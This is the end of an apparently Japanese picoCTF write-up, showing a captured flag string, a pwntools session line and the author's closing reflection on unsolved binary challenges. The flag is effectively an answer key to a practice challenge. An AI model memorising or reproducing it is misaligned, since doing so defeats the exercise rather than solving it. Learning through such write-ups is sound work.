picoCTF{now_thats_free_real_estate_a7381726}
[*] Got EOF while reading in interactive
Flag
picoCTF{now_thats_free_real_estate_a7381726}
おわりに
結構惜しいとこまで行って解けなかったのがいくつかあったのが悔しかったです。
今回の問題はPracticeの方に出ているようなのでゆっくりと復習します…。バイナリ周りは感覚でやってしまっているのでちゃんと学びたい…。